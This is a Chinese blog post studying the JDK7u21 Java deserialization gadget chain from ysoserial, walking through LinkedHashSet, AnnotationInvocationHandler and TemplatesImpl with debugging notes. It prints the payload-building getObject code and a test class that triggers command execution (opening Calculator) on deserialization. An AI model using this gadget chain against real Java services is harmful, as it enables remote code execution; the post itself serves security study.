JDK7u21反序列鏈學習

akka1發表於2022-04-11

JDK7u21

1、前置知識

jdk7u21是一條不依賴CommonsCollections庫依賴的,看利用鏈所有知識其實跟CommonsCollections也有重複,我們來學習一下以前沒學過的類或者方法。環境是jdk7u17。

LinkedHashSet

首先入口是LinkedHashSet的readObject方法,LinkedHashSet是HashSet的子類,也繼承了序列化介面和集合介面,但是LinkedHashSet是沒有重寫readObject方法的,所以LinkedHashSet呼叫的是HashSet的父類的readObject方法

//建構函式,可以看到是直接呼叫父類的方法
public LinkedHashSet(int initialCapacity) {
        super(initialCapacity, .75f, true);
}

AnnotationInvocationHandler

hashCodeImpl

這個函式就是用來計算hashCode的,具體分析可以看POC除錯,

private int hashCodeImpl() {
  int var1 = 0;

  Entry var3;
  for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
    var3 = (Entry)var2.next();
  }

  return var1;
}

memberValueHashCode

這個也是用來計算hashCode,可以看到裡面都是呼叫hashCode方法,具體作用看POC除錯

image-20220411124421422

equalsImpl

用來通過invoke來執行我們的惡意程式碼,具體看POC除錯

image-20220411171908239

TemplatesImpl

getOutputProperties

其實getOutputProperties就是用來呼叫我們的newTransformer,然後就是跟cc鏈一樣去例項化templates造成RCE

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

2、POC分析

2.1、利用鏈

/*

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.

See: https://gist.github.com/frohoff/24af7913611f8406eaf3

Call tree:

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()
 */

2.2、POC分析

這裡使用ysoserial來分析,看看大佬是怎麼構造poc的,主函式在getObject方法裡

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
		Reflections.setFieldValue(tempHandler, "type", Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

		return set;
	}

第一部分程式碼

final Object templates = Gadgets.createTemplatesImpl(command);

我們跟進createTemplatesImpl去看,判斷為否,直接返回過載方法,除了命令,還傳入了TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class,繼續跟進

public static Object createTemplatesImpl ( final String command ) throws Exception {
  if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
    return createTemplatesImpl(
      command,
      Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
      Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
      Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  }

  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

首先是第一紅框例項化了我們的TemplateImpl,然後使用javassit構造一個惡意類,首先建立一個類池,把StubTransletPayload和abstTranslet的路徑插入類池,然後StubTransletPayload的名字建立一個類clazz。第二個紅框就是把惡意程式碼嵌入惡意類,然後設定名字和父類abstTranslet,然後轉成位元組碼賦值給classBytes

image-20220411134609926

StubTransletPayload就是作者創造的一個靜態類

image-20220411134926895

我接著繼續看,看程式碼的意思反射設定屬性值,跟進去看看。

image-20220411135453843

跟進來發現就是反射直射屬性值,所以就是反射設定我們第一行建立的templates,然後設定屬性_bytecodes、_name和_tfactor,然後就返回惡意的Templates

image-20220411135812891

我們一個一個來看,其實前面兩個在ComonsCollections鏈已經分析過,這裡簡單說明。

_name

在TemplateImpl裡面的getTransletInstance,會有判斷。繼續進入當_class為null進入defineTransletClasses

image-20220411140246402

_bytecodes

在defineTransletClasses,會有對_bytecodes判斷,然後賦值給_class,返回getTransletInstance方法例項化_class。

image-20220411140445110

_tfactor

看一個大佬的文章說是 在defineTransletClasses()時會呼叫getExternalExtensionsMap(),當為null時會報錯,所以要對_tfactory 設值,但是在jdk7u17上並未發現,也許在其他版本,這裡就不深究

其實這部分程式碼就是為了生成一個惡意的templates

第二部分程式碼

這部分就是新建一個HashMap,把一個特殊的字串(“f5a5a608”)作為map的key,看屬性的命令是說空的HashCode字串,這裡不做深究,調式在具體看

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

第三部分程式碼

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

1.第一行獲取AnnotationInvocationHandler的型別並且使用map作為引數,賦值給tempHandler

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

ANN_INV_HANDLER_CLASS就是AnnotationInvocationHandler類

image-20220411141758214

getFirstCtor就是通過傳入的名字反射獲取結構體,newInstance就是通過getFirstCtor獲取結果提然後根據傳入的引數(map),建立一個例項

image-20220411143129156

2.第二行反射 設定tempHandler的type的屬性值為Templates.class,在getMeberMethods方法會用到

Reflections.setFieldValue(tempHandler, "type", Templates.class);

image-20220411172829118

3.第三行就是建立代理,我們跟進去createProxy看看

Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

進來發現其實就是把傳入的tempHandler(建立了一個代理),allIface就是介面型別(Templates.class)。

image-20220411143543350

第四部分程式碼

建立一個LinkedHashSet,LinkedHashSet在前置知識有學習過,然後再LinkedHashSet存入兩個變數,一個惡意類templates,一個代理類proxy,proxy裡面其實就是一個map,然後反射設定屬性_auxClasses、_class,這兩個都是為了在TemplateImple的getTransletInstance方法不報錯的。最後就是把map的key(zeroHashCodeStr)的值設定為templates

為啥最後才設定,真的可以加入swap記憶體裡嗎,自己去除錯時發現是可以的

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object

ysoserial對程式碼進行很好的封裝,自己以後寫小工具,可以多借鑑大佬的這種封裝思路。

2.3、POC除錯

寫個測試類

package ysoserial.test.payloads;

import org.apache.xalan.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.Jdk7u21;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Jdk7u21Test {

    public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
        oos.writeObject(calc);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));

        Object o = ois.readObject();
    }
}

首先在HashSet處打下斷點,就是先判斷傳入的型別是什麼,傳入的是LinkHashMap,就會新建一個LinkHashMap賦值給map,然後進入for迴圈反序列賦值給e變數(惡意的TemplateImpl),然後和空的Object物件一起存入map。LinkHashSet我們存入兩個物件,分別是TemplateImpl和proxy,第一遍是TemplateImpl,我們繼續跟進put方法。

image-20220411130257957

image-20220411130156720

其實進入到Hashmap的put方法,首先判斷key是否為null,然後計算key(既TemplatesImpl)的hash,hash是833788266,然後呼叫indexFor方法傳入hash和table的長度,table就是空entry如下圖,我們跟進去

image-20220411151824376

image-20220411152322278

就是把hash和length進行位與運算然後直接返回,出來put的方法

image-20220411152701091

得出i=10,進入for迴圈,上邊說過table是空的,所以直接越過for迴圈,

image-20220411153031556

然後就到了我們addEntry方法,傳入hash、key(TemplatesImpl)、value、i(10),value是空的Object物件,我也跟進去看看

image-20220411153413492

進來發現是LinkHashMap,其呼叫父類(HashMap)的方法,繼續跟進

image-20220411153511726

進入HashMap的addEntry方法--》createEntry建立一個entry,並且賦值給table。

image-20220411153708555

image-20220411154333935

然後就結束了,返回到readObject方法的第二次迴圈,map的key存放的是proxy,我們的代理物件(AnnotationInvocationHandler),繼續跟進

image-20220411154809502

我們要進入for迴圈,就是這條鏈最精華的部分,真實讓i為我們上次傳入的的值一模一樣,這樣table[i]才不為null,e不為null才能進入迴圈,就是”for (Entry<K,V> e = table[i]; e != null; e = e.next) “,我們繼續跟進hash方法,key為Proxy,Proxy就是我們的AnnotationInvocationHandler

image-20220411155912147

進入hash方法,就是k就是proxy,所以是proxy呼叫了hashCode()方法,就是AnnotationInvocationHandler呼叫了hashCode方法,因為代理物件會呼叫invoke方法,繼續跟進

image-20220411160104610

進入invoke方法後,會反射獲取方法名(hashCode),判斷是否為“equals”,負責就位根據方法名呼叫物件的方法,所以呼叫的是AnnotationInvocationHandler(this)的hashCodeImpl(),繼續跟進

image-20220411160713566

進入hashCodeImpl,發現var2是一個迭代器,迭代的是memberValues

image-20220411161636122

this.memberValues為構造方法傳入的map,(“f5a5a608”=templatesImpl)

image-20220411161335757

我們繼續來看for裡面的判斷語句

var3是通過第一遍迴圈通過var2賦值的,就是我們傳入map(“f5a5a608”=templatesImpl)

image-20220411164032243

就是var3的key的hashCodevar3的value值的hash值進行位異或操作,

var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

127 * ((String)var3.getKey()).hashCode() 為0,因為key為f5a5a608,f5a5a608的hashCode=0,我們跟進去

image-20220411164335219

memberValueHashCode的引數就是templatesImpl,會呼叫templatesImpl的hashCode()方法,所以得到與第一迴圈完全一樣的hashcode,我們跟進去計算一下,得到了855362136,怎跟我們算的不一樣,答案是這是是hashCode,並不是hash方法,我們繼續跟下去

image-20220411164516523

所以使用0和templatesImpl的hashCode()進行異或運算得到就是templatesImpl的hashCode()

image-20220411164900218

然後再hash方法中通過位異或運算

image-20220411165023318

可以看到得出來的hash結果跟第一遍的833788266一樣

image-20220411165234002

最後我們成功進入到for迴圈裡

image-20220411165532992

我們來繼續看if語句,只有e.hash == hash && ((k = e.key) == key為假,才會執行key.equals(k),我們的目的執行地

首先看e.hash == hash,e.hash就是我們第一次迴圈的templateImpl的hash,hash就是proxy(map(“f5a5a608”=templatesImpl))的hash,為ture

(k = e.key) == key,這個肯定不一樣,為false,因為k=e.key是第一遍迴圈傳入的templateImpl,key是第二遍迴圈傳入的proxy

所以就會執行我們的key.equals(k),就是proxy.equals(templateImpl),到了這裡又不得不說誇一句作者牛!

image-20220411170736897

接下來我們繼續跟進key.equals(k),就是proxy.equals(templateImpl),所以會進入到我們AnnotationInvocationHandler的invoke方法,

var1為代理物件,var3為TemplatesImpl

image-20220411170939234

首先反射獲取方法名,然後判斷var4是否equals,肯定是的因為我們就是通過equals方法就來的,成功進入if,到了equalsImpl方法,引數是var3就是TemplatesImpl,就是this.equalsImpl(TemplatesImpl),繼續跟進

image-20220411171432687

進入equalsImpl方法,發現var5.invoke(var1),var1就是TemplatesImpl,var5是通過var2[],var2[]是this.getMeberMethods(),我們檢視一下該方法。

image-20220411171908239

進入後發現this.type就是我們賦值的TemplatesImpl物件,獲取的就是newTransformer和getOutputProperties.

image-20220411172829118

所以var2[]存的newTransformer和getOutputProperties.方法,第一遍迴圈拿到的是newTransformer方法

image-20220411173403116

然後通過invoke,反射執行TemplatesImpl的newTransformer方法(可以看到var6是newTransformer),例項化我們的TemplatesImpl,造成遠端程式碼執行,後面的就不跟進去了,不懂的可以看看CommonsCollections鏈

image-20220411173630281

但是為啥沒有進入getOutputProperties方法去,雖然進去的也是呼叫newTransformer,兩個方法,第一個就是newTransformer,直接就遠端程式碼執行了(在getOutputProperties打斷點也沒有用),也許jdk不同把,有大佬有其他答案望告知。

2.4、結束

通過這次學習jdk7u21發現作者的思路真的是很巧妙,借鑑很多大佬的經驗,邏輯運算很多,細節很多。接下來就去學習除錯fastjson。

參考連結

https://cnblogs.com/nice0e3/p/14026849.html

https://y4er.com/post/ysoserial-jdk7u21/

https://paper.seebug.org/1224/

相關文章